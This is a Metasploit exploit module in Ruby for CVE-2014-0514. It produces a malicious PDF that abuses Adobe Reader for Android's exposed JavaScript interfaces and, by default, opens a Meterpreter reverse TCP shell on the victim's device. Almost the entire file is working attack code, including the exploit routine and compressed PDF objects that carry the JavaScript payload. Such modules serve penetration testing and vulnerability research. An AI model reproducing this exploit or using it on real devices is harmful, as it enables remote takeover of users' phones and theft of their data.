Adobe Reader for Android addJavascriptInterface Exploit

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'msf/core/exploit/fileformat'  
require 'msf/core/exploit/pdf'  
require 'msf/core/exploit/android'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::PDF  
include Msf::Exploit::Android  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Adobe Reader for Android addJavascriptInterface Exploit',  
'Description' => %q{  
Adobe Reader versions less than 11.2.0 exposes insecure native  
interfaces to untrusted javascript in a PDF. This module embeds the browser  
exploit from android/webview_addjavascriptinterface into a PDF to get a  
command shell on vulnerable versions of Reader.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Yorick Koster', # discoverer  
'joev' # msf module  
],  
'References' =>  
[  
[ 'CVE', '2014-0514' ],  
[ 'EDB', '32884' ],  
[ 'OSVDB', '105781' ],  
],  
'Platform' => 'android',  
'DefaultOptions' => {  
'PAYLOAD' => 'android/meterpreter/reverse_tcp'  
},  
'Targets' => [  
[ 'Android ARM', {  
'Platform' => 'android',  
'Arch' => ARCH_ARMLE  
}  
],  
[ 'Android MIPSLE', {  
'Platform' => 'android',  
'Arch' => ARCH_MIPSLE  
}  
],  
[ 'Android X86', {  
'Platform' => 'android',  
'Arch' => ARCH_X86  
}  
]  
],  
'DisclosureDate' => 'Apr 13 2014',  
'DefaultTarget' => 0  
))  
  
register_options([  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),  
], self.class)  
end  
  
def exploit  
print_status("Generating Javascript exploit...")  
js = add_javascript_interface_exploit_js(ARCH_ARMLE)  
print_status("Creating PDF...")  
file_create(pdf(js))  
end  
  
def trailer(root_obj)  
id = @xref.keys.max+1  
"trailer" << eol << "<</Size %d/Root " % id << ioRef(root_obj) << ">>" << eol  
end  
  
def add_compressed(n, data)  
add_object(n, Zlib::Inflate.inflate(Rex::Text.decode_base64(data)))  
end  
  
def pdf(js)  
self.eol = "\x0d"  
@xref = {}  
@pdf = header('1.6')  
  
add_compressed(25, "eJzjtbHRd0wuynfLL8pVMDFQMFAI0vdNLUlMSSxJVDAGc/0Sc1OLFYyNwBz/0pKczDwg3xzMDUhMB7INzcCc4ILMlNQiz7y0fAUjiOrgkqLS5JKQotTUoPz8EgVDiPkhlQWp+s5AC3Ly0+3seAG6CSa9")  
add_compressed(40, "eJzjtbHRd3HU0PdIzSlTMFAISQMS6Qqa+i5BQAnXvOT8lMy8dCAzwMXNJT8ZJqBgYgpUF2Rnp++Wn1cClPZIdcpXMLYECUKMMjEHs6MSXZIUTCwgikHKM1NzUoqjjcEisXZ2vADEuSJw")  
add_compressed(3, "eJztV91umzAUfoK8g8UuN2OMIQkWUFWJplUqU7VGam+N7aSs/AmMQvtqvdgj7RVmEpKRNJp2M2kXWAjZ+Hzfd3zO4Uie+D66lflGPQFCMEH3TaxeSokeo1u06iaRVEwwxcKwVpVk2cS/akvGn6UCsdwkeWD8fPthgEQExoMbWVG5kE/Jl9dK3r9+XfHXZ+4J4yqc+C1tszLTZKDN0rymbWAwUcSS6nn3GRlgZ6KeA+O62wCP0R1YFJUErulAblkumM1N7MyIPf0EbAvbyJojm0BMqNU9oB9GONFvvxJr+m35uZfTq8B4UqqkCG23W3NLzKLaIOx5HrJsZNtQW8D6JVeshXn9YU9y4FnKmldJqZIiB92axUWjAsOYgMHoz5WVR6G8NndnNHmRoZaVCJsWugQS/IgpmyrduSY4kqnMZK5qjcMXcVosiv4sl2UXkeUgHic4vaFxBB0D0MVA69CoEMn6ZcmUDHXwHWi5kOAVtil2qD3VS2pZPjqzPONY6ApScsBBdhyEEpe6+KNlHzkGlud+9AX5V54MbS/5UlSrokjDfcFd86qImQJYx23gRW8zgAtO10WVMRWyskwTzrrC6CLno99bp/YqUenQhUNlXafq9OthI026TNGU5ZvAaKGQa9akygi/16ZqlY/2NmeM6D3lzqVzdX9XOHRZ8KYrsJtl2DSJoJ6Yu1NPSjhbizl0nJhBj885nErXtl3iejFzd4E5xb7jvclrxXIuD7wOn1nONNaZcjwCPcuJIXNdGwqOZ3ObxySO8YF3gB3w6tjSu6oQDZdVeMjTg4zBgpWq0T1in7MTs8kwKIM/eN8eUN8fdGtCx970LhX/ZIwio8goMoqMIqPIKPJfiQxuNzLXV5ptd3fRs/7u8wtzq37r")  
add_compressed(32, "eJzjtbHR93QJVjA0VzBQCNIPDfIBsi1AbDs7XgBc3QYo")  
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add_compressed(16, "eJzjtbHRd84vzStRMNT3zkwpjjYyUzBQCIrVD6ksSNUPSExPLbaz4wUA0/wLJA==")  
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add_compressed(11, "eJzjtbHRDy5IKXIsKgGy/PXDU5OcEwtKSotS7YCAFwCW+AmR")  
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add_compressed(41, "eJzjjTa2UDBQCIrlBQAKzAIA")  
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add_compressed(34, "eJzjtbHRdw5WMDZTMFAI0g/WDylKzCsuSCxKzUuutLPjBQB75gjK")  
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add_compressed(33, "eJzjjdb3dHZ2SixOTVEwslQwUAiK5QUANnUE/Q==")  
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add_compressed(38, "eJxNjbEOgjAYhJ+Ad/hHWPgplIoJaVIwaGIwRGsciAtYCFGLQx18e1vi4HDDXe6+8/IcBdAEIjiiaKw7QEqc4xw3wsedKmYgMcjBhmOAFVCsJBZGYzUAS9OEYb23u2LbkjCCn65YCr98TP0dnipA2QCxwAZitjwdVW/ayFajkBGasQwYIWGSUVitY7c+vTvzeSm8TLdRGZR+Z/SCqx3t/I92NaH1bDj3vvt1NZc=")  
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js = Zlib::Deflate.deflate(js)  
add_object(46, "\x0d<</Filter[/FlateDecode]/Length #{js.length}>>stream\x0d#{js}\x0dendstream\x0d")  
  
add_compressed(8, "eJzjtbHRd84vzStRMNR3yywqLlGwVDBQCNL3SYQzAxKLUoHy5mBOSGZJTqqGT35yYo6CS2ZxtqadHS8AmCkTkg==")  
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add_compressed(23, "eJxNzLEKgzAQgOEn8B2ymVCqd4npUEQQXQsdCp0Tc4Ol9Ep6Qh+/gg7d/+8v2rYeMgWZ+TUGIT2eLWADziE65z0ewJYApdkqzrpPHEn1U+YYRCFWYOoLp3/sV2yxsacj+A1fM6dlolXv7k5RDeEtS6b9cZvlSfrxqeQrpuuKH+VYK70=")  
  
@xref_offset = @pdf.length  
@pdf << xref_table << trailer(25) << startxref  
  
@pdf  
end  
  
end  
`